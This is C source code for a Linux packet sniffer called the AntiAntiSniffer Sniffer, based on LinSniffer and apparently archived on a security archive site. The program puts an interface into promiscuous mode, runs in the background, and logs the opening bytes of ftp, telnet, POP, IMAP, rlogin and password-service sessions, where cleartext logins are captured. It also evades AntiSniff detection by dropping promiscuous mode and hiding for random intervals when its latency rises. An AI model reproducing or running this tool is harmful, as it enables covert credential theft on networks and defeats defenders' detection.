/*
The AntiAntiSniffer Sniffer by Mike Perry
To all my friends, coworkers, and associates who thought I knew better than
to do something like this, please understand that when I discovered I could
call the program the AntiAntiSniffer Sniffer, I just couldn't resist :)
P.S. Legitimate tools such as icmplog will exhibit the same order of
magnitude latency increase on ping responses.
Moral of the story: use ssh/lsh, and assume no host on your network is to
be trusted under any means.
Based on:
LinSniffer 0.03 [BETA]
Mike Edulla
medulla@infosoc.com
As always, my portion of code falls under the GPL.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#include <sys/ioctl.h>
#define INTERFACE "eth0"
/* Really paranoid counts every packet in the load average. If the load
* average jumps, we drop the promisc bit, and sleep for a few seconds */
#define REALLY_PARANOID 3
/* Paranoid only counts packets that we would log. If the load average of
* these packers jump, we drop the promisc bit, and sleep for a few seconds */
#define PARANOID 2
/* Lazy simply negelcts from logging until our load normalizes.. If you are on
* a (REAL) fast machine that is not slowed down by the kernel having to drop
* packets as opposed to the interface, you may want this option (to avoid the
* HIDEOUT issue described below). All this will save you is the traversal
* through the list, and the write to disk.
*/
#define LAZY 1
#define AASS REALLY_PARANOID
/* Average over X packets */
/* The higher the value, the fewer false positives.
* However, if the NUM_PKTS is TOO large, we may get caught before we even
* accumulate enough packets for accurate statistics! See the HIDEOUT &
* comments for more info..
*/
#define NUM_PKTS_SHIFT 4
#define NUM_PKTS 32
/*
* Secs to wait for the bad men to go away :)
*/
#define HIDEOUT_MAX 20000000 /* 20 sec max */
#define HIDEOUT_MIN 5000000 /* 5 sec min */
#define randhide() \
((rand() % (HIDEOUT_MAX - HIDEOUT_MIN)) + HIDEOUT_MIN)
/* Use this to define your own maximum load at which to bail out */
/* Units are usecs per packet */
/* Careful! Your machine may drop packets at the kernel level (esp if you have
* CPU_IS_TOO_SLOW set in networking options)
* Fast machines may get alot of false positives for ftp however..
*/
#define UMAX_LOAD 1500 /* 1.5ms per packet. 0 is Inf */
/* This causes the algorithm to treat dead time as if a packet was coming
* every BASELINE usecs. Useful for intermittent traffic networks */
#define BASELINE 5000 /* 5ms */
/* As a last resort, don't track more than CMAX connections at once.
*/
#define CMAX 10 /* -1 is Inf */
#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "test"
/* Actually, this debug option prints out some pretty useful stats you can use
* to set UMAX_LOAD */
// #define DEBUG
#ifdef DEBUG
# define PRINTF(a...) printf(##a)
#else
# define PRINTF(x...)
#endif
struct netload
{
struct timeval last;
int stats;
};
struct netload rawload;
struct netload tcpload;
/* #define RESOLVE_HOSTS Rule #2. */
struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
} ep;
struct vlist_t
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
time_t start_time;
time_t last;
char data[CAPLEN+1];
struct vlist_t *next;
};
int ntraced = 0;
struct vlist_t vlist_head;
struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;
void set_promisc(char *dev, int s)
{
struct ifreq ifr;
strcpy(ifr.ifr_name, dev);
fprintf(fp, "Interface %s online\n", dev);
if(ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
{
close(s);
perror("Can't get promisc bit!");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
{
perror("Can't set promisc bit!");
exit(0);
}
fflush(fp);
}
void drop_promisc(char *dev, int s)
{
struct ifreq ifr;
strcpy(ifr.ifr_name, dev);
fprintf(fp, "AntiSniff detected. Dropping promisc from interface %s\n", dev);
if(ioctl(s, SIOCGIFFLAGS, &ifr) < 0)
{
close(s);
perror("Can't drop promisc bit! Bailing");
exit(0);
}
ifr.ifr_flags &= ~IFF_PROMISC;
if(ioctl(s, SIOCSIFFLAGS, &ifr) < 0)
{
perror("Can't drop promisc bit! Bailing");
exit(0);
}
}
void closeintf(char *dev, int s)
{
/* We must completly flush our data, unfortunately */
drop_promisc(dev, s);
shutdown(s, 2);
close(s);
}
int openintf(char *dev)
{
int fd;
fd = socket(PF_PACKET, SOCK_PACKET, htons(0x800));
if (fd < 0)
{
perror("cant get SOCK_PACKET socket");
exit(0);
}
set_promisc(dev, fd);
return fd;
}
void init_load(struct netload *load)
{
gettimeofday(&load->last, NULL);
load->stats = BASELINE;
}
/*
* The algorithm is as follows:
*
* Say you have N numbers coming in
* You don't want to make an array to hold them all in to average
* So you do this: avg = (N*avg + number)/N
* That reduces to avg = avg + number/N or avg += number/N
*
* But we have no idea how many packets will come in, So what happens if you
* get past N? Why you have to subtract avg/N off so you don't just head on off
* to +Infinity
*
* Example with real numbers:
* So if the time difference were 12 each time, after 8 packets the avg would be up
* to 12, so we add the new one (12/8) then subtract avg/8 (12/8) to stabalize.
*
* Lower stats mean more load. (Units of usecs/packet)
*/
int account_load(struct netload *load)
{
struct timeval tv;
register int elapsed;
gettimeofday(&tv, NULL);
PRINTF("%d sec, %6d usec elapsed\t", tv.tv_sec - load->last.tv_sec,
tv.tv_usec - load->last.tv_usec);
/* Make things a little more normalized for very low traffic networks */
/* essentially we are simulating a packet every 5 msec */
if(tv.tv_sec > load->last.tv_sec || tv.tv_usec - load->last.tv_usec >
BASELINE)
elapsed = BASELINE;
else
elapsed = tv.tv_usec - load->last.tv_usec;
load->last = tv;
#if defined(READABLE)
load->stats += elapsed / NUM_PKTS - load->stats / NUM_PKTS;
#else
load->stats += (elapsed - load->stats) >> NUM_PKTS_SHIFT;
#endif
PRINTF("Stats %6d\tDelta stats %d\n", load->stats, (elapsed - load->stats) >>
NUM_PKTS_SHIFT);
/* Remember, lower stat means higher load */
if(load->stats < UMAX_LOAD)
{
PRINTF("Threshold exceeded. Network load %d\n", load->stats);
load->stats = BASELINE;
return AASS;
}
return 0;
}
int drop(void)
{
if (ip->protocol != 6)
return 1;
switch (ntohs(tcp->dest))
{
case 21: /* ftp */
case 23: /* telnet */
case 110: /* pop3 */
case 109: /* pop2 */
case 143: /* imap2 */
case 513: /* rlogin */
case 106: /* poppasswd */
case 761: /* kerberos passwd */
case 87: /* tty link */
case 6666: /* Hrmm.. Who IRC's? :) */
case 6667:
#if AASS == LAZY
return account_load(&tcpload);
#else if AASS == PARANOID
if(account_load(&tcpload))
{
closeintf(INTERFACE, s);
usleep(randhide());
openintf(INTERFACE);
}
#endif
return 0;
default:
return 1;
}
}
void read_tcp(int s)
{
while (1)
{
if(read(s, (struct etherpacket *) &ep, sizeof(ep)) > 1)
{
#if AASS == REALLY_PARANOID
if(account_load(&rawload))
{
closeintf(INTERFACE,s);
usleep(randhide());
openintf(INTERFACE);
}
#endif
if(!drop())
return;
}
}
}
char *hostlookup(unsigned long int in)
{
struct in_addr i;
#ifdef RESOLVE_HOSTS
static char blah[1024];
struct hostent *he;
i.s_addr = in;
he = gethostbyaddr((char *) &i, sizeof(struct in_addr), AF_INET);
if (he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah, he->h_name);
return blah;
#endif
i.s_addr = in;
return inet_ntoa(i);
}
int print_header(void)
{
fprintf(fp, "\n---------------\n");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...\n");
close(s);
fclose(fp);
exit(0);
}
void log_packet(struct vlist_t *v, char *type)
{
int i = 0;
int t = 0;
for (i = 0; i != v->bytes_read; i++)
{
if (v->data[i] == 13)
{
fprintf(fp, "\n");
t = 0;
}
if (isprint(v->data[i]))
{
fprintf(fp, "%c", v->data[i]);
t++;
}
if (t > 75)
{
t = 0;
fprintf(fp, "\n");
}
}
fprintf(fp, "\n[%s]---------------\n", type);
}
void enque_victim()
{
struct vlist_t *p;
ntraced++;
if(ntraced >= CMAX)
{
closeintf(INTERFACE, s);
usleep(randhide());
openintf(INTERFACE);
}
for(p = &vlist_head; p->next != NULL; p = p->next)
;
p->next = (struct vlist_t *)malloc(sizeof(struct vlist_t));
p = p->next;
p->saddr = ip->saddr;
p->daddr = ip->daddr;
p->dport = tcp->dest;
p->sport = tcp->source;
p->bytes_read = 0;
p->start_time = p->last = time(NULL);
p->next = NULL;
}
void seek_and_destroy()
{
struct vlist_t *p, *prev;
for(p = &vlist_head; p->next != NULL; )
{
prev = p;
p = p->next;
if(p->saddr == ip->saddr && p->daddr == ip->daddr &&
p->sport == tcp->source && p->dport == tcp->dest)
{
log_packet(p, "FIN/RST");
p = p->next;
free(prev->next);
prev->next = p;
ntraced--;
return;
}
}
}
void prune_list()
{
struct vlist_t *p, *prev;
for(p = &vlist_head; p && p->next != NULL; )
{
prev = p;
p = p->next;
if(time(NULL) - p->last > TIMEOUT || p->bytes_read > CAPLEN)
{
log_packet(p, "CAPLEN");
p = p->next;
free(prev->next);
prev->next = p;
ntraced--;
}
}
}
void snarf_data()
{
struct vlist_t *p;
int bytes = htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp);
for(p = &vlist_head; p->next != NULL; )
{
p = p->next;
if(p->saddr == ip->saddr && p->daddr == ip->daddr &&
p->sport == tcp->source && p->dport == tcp->dest)
{
if(p->bytes_read + bytes >= CAPLEN)
{
bytes = CAPLEN - p->bytes_read;
}
memcpy(p->data + p->bytes_read, ep.buff-2, bytes);
p->bytes_read += bytes;
return;
}
}
}
void manage_list()
{
if(tcp->syn == 1)
{
enque_victim();
print_header();
}
else if (tcp->rst == 1 || tcp->fin == 1)
{
seek_and_destroy();
return;
}
snarf_data();
}
int main(int argc, char **argv)
{
struct timeval tv;
ip = (struct iphdr *) (((unsigned long) &ep.ip) - 2);
tcp = (struct tcphdr *) (((unsigned long) &ep.tcp) - 2);
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
fp = fopen(TCPLOG, "at");
s = openintf(INTERFACE);
gettimeofday(&tv, NULL);
srand(tv.tv_usec ^ getpid() ^ (getppid() << 16));
if(fork())
{
exit(0);
}
if (fp == NULL)
{
fprintf(stderr, "cant open log\n");
exit(0);
}
vlist_head.next = NULL;
init_load(&tcpload);
init_load(&rawload);
for (;;)
{
read_tcp(s);
manage_list();
/* I think using sigalarms is what made linsniff666 unstable, so I am
* just going to prune the timed out connects after a valid packet
* comes through */
prune_list();
fflush(fp);
}
return 1;
}
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH